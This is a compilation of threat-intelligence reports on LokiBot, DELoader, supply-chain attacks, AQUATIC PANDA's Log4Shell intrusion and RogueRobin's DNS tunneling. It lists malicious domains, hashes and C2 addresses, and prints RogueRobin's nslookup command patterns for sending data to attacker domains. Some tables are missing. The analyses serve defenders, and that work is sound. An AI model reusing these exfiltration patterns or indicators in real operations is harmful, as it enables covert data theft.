3. The other C&C entry points – ‘desk.php’, ‘sand.php’, ‘omc.php’, ‘uMc.php’, etc. – represent just 5% of the dataset chosen for analysis, which shows that an obfuscated string is preferred in the resource naming for the C&C entry point.
4. The majority of the LokiBot C&C deployments are configured over HTTP without TLS, i.e. a non-HTTPS channel is used for communication. As a result, all the communication can be seen over an unencrypted channel. LokiBot does provide HTTPS support but it has to be configured explicitly.
5. From the compromised machines, the stolen data transmitted by the bot is received by the gate component first, which analyses the data to verify the authenticity of the bot. Once the bot identity is established, the stolen data is transmitted to the backend storage so that it can be analysed and accessed in the C&C panel.
## Conclusion
Conducting an empirical analysis of LokiBot’s C&C structure helps to build intelligence that can be used to enhance the detection and prevention efficacy of security solutions. It also helps to unearth the advancements in techniques used by the attackers to trigger infections and steal data. |
# The Curious Case of an Unknown Trojan Targeting German-Speaking Users
**By Floser Bacurio and Roland Dela Paz | June 21, 2016**
Last week, an unidentified malware (with SHA-256 171693ab13668c6004a1e08b83c9877a55f150aaa6d8a624c3f8ffc712b22f0b) was discovered and circulated on Twitter by researcher @JAMES_MHT. Many researchers, including us, were unable to identify the malware, so we decided to dig a bit further. In this post, we will share our findings about this malware: its targets, technical analysis, the related attacks, and the threat actor behind it.
## Targets
One of the first things we wanted to know is if this malware has a specific target. Thanks to researcher @benkow_, some open directories on the malware C&C were discovered. One of the open directories contained logs of victim IPs and computer names. While there are not that many IP victims logged on this particular C&C, a look-up on ipintel.io showed a concentration of victims from Germany and Austria. Incidentally, a quick dump of the malware code reveals the string “my_de” and “my_botnet,” where the “de” in the first string may refer to Germany’s country code. Due to this and the results of our analysis below, we tagged this malware DELoader (detected as W32/DELoader.A!tr).
## DELoader Analysis
In a nutshell, DELoader’s primary purpose is to load additional malware on the system. It does this by initially creating a suspended explorer.exe process. It then proceeds to decrypt an embedded DLL from its body and inject it into explorer.exe. The injected DLL then attempts to download a file from the link hxxp://remembermetoday4.asia/00/b.bin. Upon the time of analysis, the malware C&C was already sinkholed. Code-wise, the malware expects to download a portable executable (PE) file as it validates the MZ header of the downloaded file. If valid, this PE file is then copied to newly allocated memory. It then searches for instances of a running explorer.exe process where it injects the downloaded file using CreateRemoteThread API. DELoader’s routine doesn’t tell much about its intentions since its payload simply installs an additional PE file. This PE file could be any malware or simply an updated copy of itself. Either way, it leads us to the next question – what is the motive behind DELoader?
## Related Attacks
The registrant information of the malware C&C, resdomactivationa.asia, leads us to the next clue. The registrant details list someone named Aleksandr Sirofimov from Russia. Of course, we certainly don’t know if Aleksandr is a real person, a stolen identity, an alias for a group, or the ‘nom de guerre’ of an individual cybercriminal. However, the important thing is that these same registrant details have been frequently used in the past to register malicious domains. Below is an overview of some of the related attacks we were able to correlate using the email address [email protected]. From the above graph, we can extract the infection chain for DELoader, which is delivered through malicious JavaScript downloaders. Since the JavaScript downloaders come from ZIP files with “invoice” themes, it is more or less sent to victims as an attachment to malicious emails. Furthermore, the above correlation enabled us to identify that the actor (or actors), using the name “Aleksandr,” registered malicious domains as early as the 3rd quarter of 2015, while DELoader first surfaced by at least February of 2016. One of the malicious tools “Aleksandr” used is a Zeus variation – an infamous banking Trojan whose source code was leaked five years ago.
An online search of the domain goodvin77787.in leads us to a blog discussing a DHL-themed Zeus campaign targeting German-speaking users where all the related Zeus C&Cs were registered using “Aleksandr’s” details. So we now know that the person or persons behind “Aleksandr” have been (or are still) involved in a malicious campaign for stealing banking credentials. True to the nature of DELoader, the previous campaign also targeted German-speaking users.
## Are German-Speaking Users "Aleksandr’s" Only Target?
Another domain the individual or group known as “Aleksandr” registered is bestbrowser-2015.biz. This domain was used as a C&C server for Android Marcher variants – an Android banking Trojan sold on Russian underground forums. Interestingly, these trojans were configured to steal credentials from Australian banks. It is worth noting that these Marcher variants surfaced around the same time “Aleksandr” was running Zeus campaigns in the 3rd and 4th quarter of 2015. This suggests that he was running his malicious regional campaigns simultaneously.
## Conclusion
While DELoader is a relatively new malware, the findings in this research demonstrate that the threat actor behind it has actually been around for quite some time and has left a substantial amount of fingerprints over the Internet. Historical information shows that the individual or group using the name “Aleksandr” has been involved in bank information theft not only of German-speaking users but has also targeted Australian users. It is possible that DELoader may be used to aid in similar purposes in the future. We are unable to confirm the legitimacy of “Aleksandr’s” registrant details or if he (or they) is working with a group. We may, however, have an idea of where “Aleksandr” is located. Earlier, we showed that the geolocations of DELoader victims were concentrated in Germany and Austria. You might have also noticed that one of the IPs deviated from that area – it resolved to Kiev, Ukraine. This is odd since German is not a common language in Ukraine. So we theorized that this anomalous event may be due to someone testing the DELoader. To test our theory, we looked up the IP in the C&C logs to find more information.
High five if you found “ALEXANDR”.
## IOCs
**DELoader SHA-256 hashes (all detected as W32/DELoader.A!tr):**
- 72faed0bc66afe1f42bd7e75b7ea26e0596effac65f67c0ac367a84ec4858891
- 5d759710686db2c5b81c7125aacf70e252de61ab360d95e46cee8a9011c5693f
- c16281c83378a597cbc4b01410f997e45b89c5d06efada8000ff79c3a24d63ca
- 171693ab13668c6004a1e08b83c9877a55f150aaa6d8a624c3f8ffc712b22f0b
- 5afee15a022fcdb12cc791dd02db0ec6beb2e9152b312b2251f2b8ecfe62e03c
- 103c6f425cfcd5eb935136f8c4ce51b9556974545bc6b7947039405164d46b0d
- cec73c7b54c290b297a713e0eb07c7c2d822cc67ed61b9981256464273d63892
**Domains registered by [email protected]:**
- yberprojects22017.info
- masterhost8981.asia
- nov15mailmarketing.in
- auspostresponse22.asia
- goodwinn8.asia
- mastehost12312.asia
- masterhost1333.asia
- marketingmas.in.net
- remembermetoday4.asia
- startupproject33676.asia
- bestbrowser-2015.biz
- marketing5050.asia
- marketingking878.asia
- yidckntbrmhuuhmq.com
- resdomactivationa.asia
- ukcompanymarketing.asia
- goodvin77787.in
- jajajakala8212.asia
- masterhost122133.asia
- masterj.in
- lalalababla.asia
- responder201922.asia
- cyberprojects2727.info
- super-sexy-girl2015.net
- jxsraxhlccokkrob.com
- mastehost88832.asia
- masterlin888.pw
- mamba777.in
- copolsox.us
- 10cyberprojects2016.asia
- startupproject336.asia
- masterhost122133.asia |
# The Enemy Within
## Modern Supply Chain Attacks
Eric Doerr, GM
Microsoft Security Response Center (MSRC)
@edoerr
We all know the world rests on a giant turtle…
1. Terry Pratchett, *The Color of Magic*, 1983
Turtles all the way down… I’m in your supply chain, and you’re in mine. We’re in this together. Am I in your supply chain? Are you in mine?
- Linux is the most popular OS on Azure
- >35k unique OSS projects
- >10K 3rd party tools
- Surface, Hololens, Xbox hardware suppliers
- Server infrastructure in the Microsoft cloud
- And more…
Media is overly focused on hardware. Supply chain > hardware. I’m not talking about…
### Evaluating Supply Chain Risk
How we think about Supply Chain Risk:
- Hardware
- Software
- Services
- People
### How do we defend Microsoft?
**Commonalities & differences**
Microsoft environment today:
- Number of employees
- Number of countries with Microsoft offices
- Authentication requests per month
- Managed devices hitting the network
- On-premises workload reduction
- Microsoft Teams meetings/month
- Transactions on the sales platform per day
- Cloud based services
- Data Centers worldwide
Microsoft is a complex company to defend… how do we do it?
**Cyber Defense Operations Center – Defending as One**
- Centralized hubs for cybersecurity and defense; uniting personnel from each defender team
- Shared technology, analytics, playbooks
- Shared locations, and more importantly a commitment to “defend together”
- 24 x 7 x 365 protection of Microsoft platform and customers
### Let’s talk about people
There are people in your supply chain.
**People Supply Chain Example**
Gift Card abuse, 2 Apr 2019, CDOC teams mobilized during unknown time period, a financially motivated threat actor allegedly compromises Wipro network and gains access to multiple companies through trusted vendor relationships.
- Credential Backdoor
- Lateral compromise
- C&C movement
**Response**
- Risk assessment and vendor inventory audit performed
- Block newly identified malicious domains
- Precautionary reset of credentials for vendor accounts
- Additional monitoring of systems belonging to vendor employees
- Windows Defender signature deployed to detect adversary’s specific Mimikatz Binary
**Practical Advice: Securing people in your supply chain**
- Always “assume breach”
- Strict inventory of vendor & partner access
- Automated policy governance where possible
- Follow principle of least privilege
- Provide devices and/or virtual monitoring
- Any privileged access needs tighter controls (MFA etc.) and detection systems in place
### Let’s talk about software
There is software in your supply chain.
**Software Supply Chain Example**
1 April 2018 Reports that Team Viewer software and/or infrastructure is leveraged by threat actor to install firmware or BIOS implants on physical machines during OEM deployment.
**Potential Actions on Objective**
- BACKDOOR SUPPLY CHAIN ATTACK
- MALICIOUS CODE
**Response**
- Performed audit of software usage to assess risk if software was compromised
- Update policy to block remote access software
- Notifications sent to impacted employees
- AppLocker and firewall blocks put in place
- Updated contracts with suppliers
**Practical Advice: Securing Software in your supply chain**
- Pre-Selection
- Selection
- Contract
- Onboard
- Monitor
- Terminate
### Let’s talk about services
Do you inventory every service you use?
**Upstream vs. Downstream**
- Upstream: DNS, PKI, Cloud service providers, VPN service providers, ISPs, Any business partner you rely on to provide you services
- Downstream: Financial outsourcing, Content delivery networks, Distribution services (e.g., Github, Dropbox, etc.), Push networks, Any business partner that helps you provide services to your customers
**Services supply chain example**
Sub-processors
**Response**
- Inspected exposed data to evaluate risk
- Expired all valid one-time tokens immediately to contain risk
- Work began to investigate the scope and impact of the potential disclosure
- Investigated potential attempted or successful logins
- No misuse of the two-factor codes was identified
### Ok, let’s talk about hardware
**Hardware Supply Chain Example**
2 Internet facing video decoder device with default credentials used to establish a link into targeted networks.
1 Apr 2019 The Microsoft Threat Intelligence Center (MSTIC) discovered suspicious activity from infrastructure previously associated with the STRONTIUM targeting several 3rd party customers.
**Response**
- Mobilized CDOC responders to investigate and partner with 3rd party customer security teams
- IoT devices were quarantined and sent for forensic analysis
- Impacted service account credentials were changed
- Malicious domains and IPs were blocked on affected networks
- Proactively shared adversary TTPs with IoT vendors
### Indicators of Compromise
The following IP addresses are believed to have been used by the actor for command and control (C2):
- 167.114.153.55
- 94.237.37.28
- 82.118.242.171
- 31.220.61.251
- 128.199.199.187
### 4 Takeaways
1. Share More
Let’s make the adversaries work harder by working together.
How can we share more?
We need to change our cultural approach:
- Media: “name and shame” → “learn and defend together”
- Customer: “why was there an issue” → “how did they respond?”
- Business: “containment & opacity” → “partnership & transparency”
- Disclosure: “code defects” → “tactics that work”
2. Response matters
We should focus more on how companies respond to security events, not whether they happen.
Remember, we’re all in this together.
Best Practices:
- Proactively inform customer of impact
- Engage transparently and without defensiveness
- Respond to reasonable requests for validation
- Learn from mistakes
3. Sweat the small stuff
Adversaries will find the path of least resistance.
4. Embrace the whole
People + Software + Services + Hardware = Supply Chain
Thanks! |
# AQUATIC PANDA in Possession of Log4Shell Exploit Tools
Benjamin Wiley and the Falcon OverWatch Team
December 29, 2021
Following the Dec. 9, 2021, announcement of the Log4j vulnerability, CVE 2021-44228, CrowdStrike Falcon OverWatch™ has provided customers with unrivaled protection and 24/7/365 vigilance in the face of heightened uncertainty. To OverWatch, Log4Shell is simply the latest vulnerability to exploit — a new access vector among a sea of many others. Adversarial behavior post-exploitation remains substantially unchanged, and it is this behavior that OverWatch threat hunters are trained to detect and disrupt. OverWatch’s human-driven hunting workflows and patented tooling make it uniquely agile in the face of rapidly evolving cyber threats.
Since the vulnerability was announced, OverWatch threat hunters have been continuously ingesting the latest insights about the Log4j vulnerability as well as publicly disclosed exploit methods to influence their continuous hunting operations. On Dec. 14, 2021, VMware issued guidance around elements of VMware’s Horizon service found to be vulnerable to Log4j exploits. This led OverWatch to hunt for unusual child processes associated with the VMware Horizon Tomcat web server service during routine operations.
On the back of this updated hunting lead, OverWatch uncovered suspicious activity stemming from a Tomcat process running under a vulnerable VMware Horizon instance at a large academic institution, leading to the disruption of an active hands-on intrusion. Thanks to the quick action of OverWatch threat hunters, the victim organization received the context-rich alerts they needed to begin their incident response protocol.
## OverWatch’s Rapid Notification Process Disrupts AQUATIC PANDA
OverWatch threat hunters observed the threat actor performing multiple connectivity checks via DNS lookups for a subdomain under dns[.]1433[.]eu[.]org, executed under the Apache Tomcat service running on the VMware Horizon instance. OverWatch has observed multiple threat actors utilizing publicly accessible DNS logging services like dns[.]1433[.]eu[.]org during exploit attempts in order to identify vulnerable servers when they connect back to the attacker-controlled DNS service.
The threat actor then executed a series of Linux commands, including attempting to execute a bash-based interactive shell with a hardcoded IP address as well as curl and wget commands in order to retrieve threat actor tooling hosted on remote infrastructure. Our CrowdStrike Intelligence team later linked the infrastructure to the threat actor known as AQUATIC PANDA.
The execution of Linux commands on a Windows host under the Apache Tomcat service immediately drew the attention of OverWatch threat hunters. After triaging this initial burst of activity, OverWatch immediately sent a critical detection to the victim organization’s CrowdStrike Falcon® platform and shared additional details directly with their security team.
Based on the telemetry available to OverWatch threat hunters and additional findings made by CrowdStrike Intelligence, CrowdStrike assesses that a modified version of the Log4j exploit was likely used during the course of the threat actor’s operations.
Using the telemetry discovered through intelligence analysis of the JNDI-Injection-Exploit-1.0.jar file, OverWatch was able to confirm that the same file was released on a public GitHub project on Dec. 13, 2021, and was potentially utilized in order to gain access to the vulnerable instance of VMware Horizon based on follow-on activity observed by OverWatch.
AQUATIC PANDA continued their reconnaissance from the host, using native OS binaries to understand current privilege levels as well as system and domain details. OverWatch threat hunters also observed an attempt to discover and stop a third-party endpoint detection and response (EDR) service.
OverWatch continued to track the threat actor’s malicious behavior as they downloaded additional scripts and then executed a Base64-encoded command via PowerShell to retrieve malware from their toolkit. OverWatch observed the threat actor retrieve three files with VBS file extensions from remote infrastructure. These files were then decoded using cscript.exe into an EXE, DLL, and DAT file respectively. Based on the telemetry available, OverWatch believes these files likely constituted a reverse shell, which was loaded into memory via DLL search-order hijacking.
Finally, OverWatch observed AQUATIC PANDA make multiple attempts at credential harvesting by dumping the memory of the LSASS process using living-off-the-land binaries rdrleakdiag.exe and cdump.exe — a renamed copy of createdump.exe. The threat actor used winRAR to compress the memory dump in preparation for exfiltration before attempting to cover their tracks by deleting all executables from the ProgramData and Windows\temp\ directories.
Throughout the intrusion, OverWatch tracked the threat actor’s activity closely in order to provide continuous updates to the victim organization. Based on the actionable intelligence provided by OverWatch, the victim organization was able to quickly implement their incident response protocol, eventually patching the vulnerable application and preventing further threat actor activity on the host.
The discussion globally around Log4j has been intense, putting many organizations on edge. No organization wants to hear about such a potentially destructive vulnerability affecting its networks. It is in these times of great uncertainty that the true value of continuous threat hunting is brought to light. OverWatch searches for evidence of malicious behavior — not adversary entry points. Although new vulnerabilities present adversaries with a new entry vector, they do not change the hands-on-keyboard activity OverWatch threat hunters are trained to detect and disrupt.
To stay current on how to protect against this latest vulnerability, CrowdStrike’s overall mitigation advice for Log4j is being updated as new information comes to light.
## AQUATIC PANDA
AQUATIC PANDA is a China-based targeted intrusion adversary with a dual mission of intelligence collection and industrial espionage. It has likely operated since at least May 2020. AQUATIC PANDA operations have primarily focused on entities in the telecommunications, technology, and government sectors. AQUATIC PANDA relies heavily on Cobalt Strike, and its toolset includes the unique Cobalt Strike downloader tracked as FishMaster. AQUATIC PANDA has also been observed delivering njRAT payloads to targets. |
# DNS Tunneling Series, Part 3: The Siren Song of RogueRobin
In this blog post, we examine a DNS tunneling malware, known as RogueRobin, that has been associated with the DarkHydrus threat group. DarkHydrus has been linked to the Iranian government and largely uses spear-phishing and credential harvesting attacks on government and educational institutions.
There are two variants of RogueRobin that we will be looking at, one written in PowerShell and another compiled as a .NET executable. Both versions are very closely related but vary in significant ways, particularly when it comes to the communications. Our goal for this post is to highlight those differences where appropriate.
The core of RogueRobin’s DNS tunneling mechanism involves encoding of DNS requests and replies of various resource record types between the victim host and its controller. These communications contain specifically encoded DNS labels and responses that implement a covert communication channel. In contrast, the previous two DNS tunneling samples we examined, PoisonFrog and Glimpse, heavily relied on the contents of resolved IP addresses via A record records. Although the communications may be different, the overall code flow of both variants are the same. Each variant periodically checks in with the controller for waiting jobs to perform. Then they receive and perform these tasks and send the results back to the controller. A more detailed breakdown of how these steps are accomplished by each variant is described below.
## Samples
### Startup and Persistence Mechanisms
The RogueRobin .NET variant first checks its command line arguments for the parameter `st:off`. If found, it disables its persistence mechanism, which we will describe later in the post. Another potential command line parameter is `pd:off` which disables the display of a decoy PDF. This data is expected to be contained within one of the program’s variables and, if so, is saved to `%TEMP%\doc.pdf`. In this sample, no data was present. The RogueRobin PowerShell variant doesn’t contain any code to display a decoy PDF.
Both RogueRobin variants contain mechanisms to ensure persistence across reboots. However, they accomplish this in slightly different ways. The .NET variant modifies the Run key in `HKEY_CURRENT_USER`, adds the value of `OfficeUpdateService` and points it to a VBScript it has written to `%PUBLIC%\Documents\OfficeUpdateService.vbs`. This VBScript executes its own executable, a copy of which it places in `%PUBLIC%\Documents\OfficeUpdateService.exe`.
Conversely, the PowerShell variant creates a shortcut file (.lnk) in the user’s Startup folder, places a copy of itself in `%APPDATA%` as `OneDrive.ps1`, and creates a batch file that executes `OneDrive.ps1` in a hidden window. This copy of the RogueRobin script is embedded in compressed form in the running PowerShell code and is identical except the one set to execute from the batch file has its persistence code removed.
### Anti-sandboxing/Anti-analysis
Both the PowerShell and .NET RogueRobin variants perform a series of checks to ensure they are not being run in a sandbox or analysis environment. They do this by performing the following checks and abort if any of them are true:
Although there are many similarities between the PowerShell and the .NET variants of RogueRobin, such as function names and overall code flow, there are significant differences, particularly in the way Command and Control (C2) and data encoding are achieved. For the remainder of the blog post, we will discuss each variant individually, pointing out notable similarities and differences where appropriate.
## PowerShell Variant
### Issuing DNS Queries
DNS queries are the mechanism by which RogueRobin communicates with its controller. The communication is performed by a function called `query`. To perform these queries, RogueRobin directly invokes the native Windows binary `nslookup.exe`. With `nslookup.exe`, the malware appends the various parameters necessary to build a command line to be executed, generating the DNS request. It will then parse nslookup’s output which constitutes the DNS reply. Because it is running as a PowerShell script, nslookup can be invoked directly by the script. Before each DNS query, `ipconfig/flushdns` is issued to ensure DNS results are not being stored by local DNS cache. Once the cache has been flushed, it builds the nslookup command as follows:
```
nslookup.exe -timeout=<timeout> -q=<mode> <query>.<domain> <server>
```
Here we break down the command, where:
- `<timeout>`: The value to wait for a reply (defaults to 5 seconds)
- `<mode>`: DNS resource record type (A, AAAA, AC, SRV, SOA, TXT, MX, CNAME)
- `<query>`: The DNS label containing the tunneled data to be decoded by the controller
- `<domain>`: One of the DNS domains listed below
- `<server>`: An authoritative name server to be used (can be blank)
RogueRobin makes use of a DNS resource record of type “AC.” This mode is not a real DNS record type and is used solely for use with this malware. This mode appears to be able to receive tunneled communications as either an A or CNAME-style record. For AC mode, nslookup commands are built differently than normal queries but are sent out as normal type A records as follows:
```
nslookup.exe -timeout=<timeout> -q=a <query>.ac.<domain> <server>
```
The `query` function can perform several notable functions. It uses a helper function called `roundRobin` which simply rotates, in round robin fashion, to the next item in a list passed to it. It invokes this in order to rotate the DNS domains used for each query performed. It can also do this for the DNS resource record types, which it calls “modes,” used to perform a query. Whether to change the mode can be specified manually but `roundRobin` will default to the value specified in the global variable `hybridMode` which is set to true.
The query function also has the ability to specify an authoritative DNS server to use. It maintains this server address in a global variable called `$Global:server`. In the PowerShell variant we analyzed, this value was left blank which will cause the malware to use the DNS server used by the victim host.
For every DNS request sent, the associated DNS reply will be checked for the strings `timeout`, `UnKnown can`, or `Unspecified error`. If this occurs, it will perform the query again using a new domain. It will also check the reply for text containing `00900`, regular expression `1.2.9.\d+`, or `2200::` and return cancel if any are found.
If an exception occurs when trying to perform a DNS request and/or receive a reply, the function will sleep for the amount of time in seconds specified by the global variable `$sleep` in addition or subtraction of a random value chosen using the equation `jitter * sleep / 100`. Using the values found in this variant, the minimum and maximum sleep times would be 2.4 and 3.6 seconds respectively if left unchanged.
The following list names the domains used by the PowerShell variant:
- anyconnect.stream
- bigip.stream
- fortiweb.download
- kaspersky.science
- microtik.stream
- owa365.bid
- symanteclive.download
- windowsdefender.win
### Registering With The Controller
RogueRobin begins by registering itself with its controller via DNS. All communications with this variant are performed using DNS and the victim registration process is no exception. This is done by performing a DNS request for `<pid>.<domain>`. For example, if the PID for powershell.exe is 4114, then a request might be issued for `4114.anyconnect.stream`.
If registration is successful, the controller will send back a DNS response containing the victim host’s identifier to be saved and used in future communications. This will be extracted by RogueRobin’s `magic` function using the `getid` state which we will explain later in the blog post.
RogueRobin will also issue test queries using various DNS resource record types to identify which ones are successful. These test queries are as follows:
- A
- AAAA
- AC (only used by RogueRobin, actually an A record but adds the “.ac” label before the domain)
- CNAME
- MX
- TXT
- SRV
- SOA
RogueRobin refers to these DNS resource record types internally as the “mode.” Once this information is compiled, a pipe-separated string of which resource record types were successful and which were not will be sent using a jobID of 2. An example of this string is as follows:
```
A:1|AAAA:1|AC:1|CNAME:1|MX:1|TXT:1|SRV:1|SOA:1
```
Additionally, victim information will also be compiled and sent back to the controller with a jobID of 1. That victim information includes the following values and configuration parameters, which are combined into a pipe-separated string prior to transmission to the controller:
- IP address
- Domain
- Computer name
- User name
- If the logged on user has administrative privileges
- If communications will have “garbage” inserted into the message
- If startup persistence was enabled
- If hybrid mode is enabled
- Sleep time
- Jitter time (sleep value variance)
Once testing is complete, RogueRobin’s main functionality begins. The main functionality consists of an infinite loop but will break out of this loop under certain conditions. Encoded labels in DNS requests from the infected victim host are used to ask the controller if there are any waiting jobs to be performed and, if so, another request will be made requesting the actual job data be sent back. The controller, in turn, responds to these DNS requests in the form of DNS replies containing encoded responses. These encoded responses are parsed by the `magic` function.
### Magic Function
The magic function is responsible for extracting tunneled data from encoded DNS replies sent by the controller. This function operates on one DNS reply at a time so any looping that needs to be done, such as receiving larger jobs, are handled by the calling function.
The magic function takes a parameter called `state` that determines how to parse the controller’s DNS replies based on the type of operation being performed and also takes into account the current “mode” or DNS resource record type returned. It has the ability to extract three types of information received:
- `haveJob`: Checks if there are any waiting jobs or tasks
- `getid`: D numbers can be extracted to be used to reference a particular job or task identifier
- `getjob`: Extracts job data from the DNS reply based on a jobID
### Payload Encoding
Another important characteristic to understand is how RogueRobin encodes and decodes the payload data it is transmitting and receiving. When using the word “encoding” or “encoded,” we are referring to data that has been processed by a function called `insertGarbage`. At a minimum, this function takes the plaintext data, converts it to UTF8, and then base64-encodes. Additionally, if the global boolean variable called `hasGarbage` is set to “1,” it will then insert a random character in the set [a-z0-9=/] at every third character in the base64-encoded string. The `removeGarbage` function performs this operation in reverse in such cases where it needs to decode data received from its controller.
### PowerShell Main DNS Tunneling Operations
After registration is complete, RogueRobin will enter its main DNS tunneling loop where it starts by checking to see if there are completed or failed jobs which were processed in a previous iteration. These jobs are managed as native Windows jobs and are accessed by using PowerShell “job” cmdlets such as `Start-Job` and `Receive-Job`. This enables the malware author to offload much of the overhead associated with managing a job queue. Any job results waiting will be sent to the controller using the `spliting` function.
Next, a DNS query is issued using the following format:
```
<victim ID>-<3 random characters in [a-z0-9]>X.<domain>
```
Once a response is received, it will use regex to determine if the response was in the proper format. The regex expression used is dependent upon which DNS record type, or mode, is being handled. These regular expressions are used to perform initial sanity checks on the controller’s responses and set flags which track whether the response was an A record or AAAA record. If it is determined the response was an AAAA record, the magic function will be called to extract the jobID out of the DNS reply. If this function returns a value of 0, this will be treated as a request to cancel the transaction. If an A record is returned, the malware will combine the first two octets of the “resolved” IP address and use that as the jobID. In the case of all the other modes, the jobID will be the numbers preceding the dash.
Once the jobID has been extracted, RogueRobin will call the `gettingJob` function to perform further DNS queries to receive a pending job from its controller. The `gettingJob` function is responsible for performing DNS queries requesting encoded job data until there is no more data to be received.
The `gettingJob` function requests job data associated with the jobID by performing the following DNS query:
```
<victim ID>-<jobID>-<offset>.<domain>
```
or, if AC mode is enabled:
```
<victim ID>-<jobID>-<offset>.ac.<domain>
```
If the DNS reply results in a “cancel” message, the receive loop will be broken. Otherwise, it passes the received message to the magic function with a state of `getjob` for extraction. For the `getjob` state, this function returns an array of three elements: the encoded job data, an “isMore” flag value indicating if more data needs to be sent, and the offset within the data stream to which this data belongs. Each iteration of this loop builds a buffer that accumulates the job data. RogueRobin will continue to accumulate more job data via DNS requests until the `isMore` data flag is set to false or a cancellation message is received.
Once the job has been received in full by the victim host, it checks to see if the command data is the string “cancel” and cancels the operation if so. Otherwise, the data is sent to the `removeGarbage` command to be decoded and then various regexes are used to parse the command received. The possible commands are as follows:
### Spliting Function - Sending Data Back To The Controller
The `spliting` function is responsible for preparing and sending data to the controller. It is used to transmit status messages, job results, and file data. The `spliting` function takes three parameters: the data to be sent, a boolean value indicating whether “garbage” should be inserted into the encoded data, and the jobID with which the data is associated. The messages are packaged and sent to the controller as DNS requests.
For messages that need to be broken up, multiple DNS messages will be sent until all the data is transmitted. This function always starts by UTF8-encoding and then base64-encoding the data it is given. Additionally, if insertion of garbage is specified, RogueRobin will insert “garbage” characters into its communications if the `hasGarbage` global boolean flag has been set to true. If the flag is true, the `insertGarbage` function is first called, passing to it the data stream into which garbage should be inserted. This function will then insert a random character in the set [a-z0-9=/] at every third character in the base64-encoded string.
As we stated earlier, the `spliting` function tunnels messages to the controller in the form of DNS requests. If a single message is too long for a single transmission, that message must be broken into a series of smaller messages and each of those must be sent as individual DNS requests. To do this, RogueRobin chooses a random value between two variables `min_query_size` and `max_query_size` which it then uses as a truncation point for the current partial message. This partial message, or message chunk, will be tunneled to the controller as a DNS request. The malware will maintain a variable called `offset` which it uses to track the position in the exfiltrated data where the next transmission should begin. RogueRobin will continue breaking up messages into chunks this way until the entire encoded message has been transmitted. In this version, the minimum and maximum query sizes were 30 and 43, respectively, although these can be easily changed.
Messages destined for the controller using the `spliting` function will be sent as follows:
```
<victim ID>-<jobID>-<offset><isMore flag>-<message data>.<domain>
```
Messages with the AC mode being enabled will be sent as follows:
```
<victim ID>-<jobID>-<offset><isMore flag>-<message data>.ac.<domain>
```
For each DNS request sent, a DNS reply will be received and each will be checked for the following:
## .NET Variant
The .NET variant is very closely related to its PowerShell cousin in that it uses the same general code flow and DNS tunneling mechanism but varies in the underlying details of communications.
### Issuing DNS Queries
The .NET variant issues DNS queries in much the same manner as its PowerShell version with the exception that the .NET version spawns a hidden PowerShell process in order to execute the `nslookup.exe` command. The domain list is also changed to the following four entries:
- akdns.live
- akamaiedge.live
- edgekey.live
- akamaized.live
The .NET variant also introduces the concept of DNS request types. These request types, “a” through “d,” determine how the label for the DNS request is going to be built. The following table illustrates the request types and how they are structured:
Once the label is built, a domain from its domain list is appended to the end. The selected domain is used in the building of the nslookup command line which is done similarly to its PowerShell cousin but with one significant change. Regardless of the request type, if the DNS record type (mode) is AC, RogueRobin will always append a hyphen and two random characters before the domain as follows:
```
nslookup.exe -timeout=<timeout> -q=<mode> <query>-<2 random characters>.<domain> <server>
```
The following are notable differences from the PowerShell variant:
- Default `<timeout>` value is set to 10 seconds
- `<2 random characters>` which are obtained from a call to `Path.GetRandomFilename`
- Jitter value is set to 25
Additionally, before each DNS query, .NET RogueRobin checks to see if a debugger is attached with a call to `Debugger.IsAttached`. If a debugger is attached, it will issue a DNS query as follows:
```
nslookup.exe -timeout=<timeout> -q=<mode> 676f6f646c75636b.gogle[.]co <server>
```
`676f6f646c75636b` is the hexadecimal representation of the string `goodluck`. Regardless of which query will be performed, they are all done in a hidden PowerShell window whose working directory is set to `Environment.SpecialFolder.CommonDocuments` which translates to `%PUBLIC%\Documents\` on Windows 7.
After issuing a query, the result is tested against the following regular expression:
```
216.58.192.174|2a00:1450:4001:81a::200e|2200::|download.microsoft.com|ntservicepack.microsoft.com|windowsupdate.microsoft.com|update.microsoft.com|
```
If there is a match, this function returns cancel. If there is no match, it will check the result for:
```
timeout|UnKnown can|Unspecified error
```
which causes the function to return the false string of `$$FALSE$$`. It will also test the result for:
```
canonical name|mx|namerserver|mail server|address
```
This regex, representing the success case, will return the result representing the DNS reply to the calling function.
### Registering with the Controller
.NET RogueRobin registers itself with its controller in a slightly different manner than the PowerShell variant. Instead of issuing a query for `<pid>.<domain>` as was done in the previous case, it issues a request type “a” DNS query. As stated before, a translation function called `number_to_word` is used to encode the various PID digits as letters. If .NET RogueRobin were registering a victim with the same PID as in the previous PowerShell example (4114), the resulting DNS query would be `aliilc.anyconnect.stream`. If registration is successful, the controller will return a DNS response containing the embedded victim host’s identifier (victim ID) to be saved and used in future communications. This victim ID will be passed along to, and extracted by, RogueRobin’s `magic` function using the `getid` state. This victim ID will be used for future communications instead of the PID. Test queries will also be issued, cycling through the various DNS resource record types, though now the DNS requests will be of request type “b.”
Once testing is complete, it will use the `spliting` function to send the same pipe-separated query test string and victim information as its PowerShell variant with the exception that the victim information string has `|cs` appended to the end. The “cs” string may indicate it is part of a RogueRobin version written in C#. An example of this string is:
```
172.16.99.201|WIN-7VM|WORKGROUP|testvm|10|0|1|1|3|25|cs
```
### Number-to-Word Encoding
One of the encoding mechanisms used in the .NET RogueRobin is `number_to_word` encoding. This function uses simple substitution to convert a number to a letter. This conversion is summarized in the table below:
Any character processed by this function that is not 0 through 9 will be left as is. The `word_to_number` function, used in other parts of the malware, performs this encoding in reverse, converting letters into their associated number values using the same table.
### Magic Function
The `magic` function for the .NET variant of RogueRobin is similar to the PowerShell variant’s, but differs in several ways. First, it builds a regex to match on any of the DNS domains contained within its domain list. PowerShell, on the other hand, simply populates the regular expression with the currently operational domain. Thus, where the table below refers to `<domain>` for brevity, in actuality, the regex expression built at runtime would be:
```
(akdns.live|akamaiedge.live|edgekey.live|akamaized.live)
```
This expression will match on any of the active domain names.
Second, .NET RogueRobin chooses to encode the number values with the `number_to_word` function so many of the regex expressions have updated that pattern to match word characters (`\w`) instead of digits (`\d`).
Finally, the .NET variant makes use of two character classes it calls `separator` and `non-separator`. When regular expressions are built to match various parts of the DNS reply, the .NET variant inserts, at runtime, the regular expression representing the character class needed. In this variant, the “separator” regex is `[r-v]` representing the characters “r” through “v” and the “not_separator” classes is `[^r-v\s]` representing any characters except “r” through “v” and any whitespace character. For brevity and clarity, these were inserted inline with the regular expression matching table below, although it should be cautioned that these partial regex strings are inserted as variables and can easily be changed.
It should be noted that the magic function extracts data from a single DNS reply. It is up to the calling function to generate the necessary DNS requests and accumulate the extracted data accordingly.
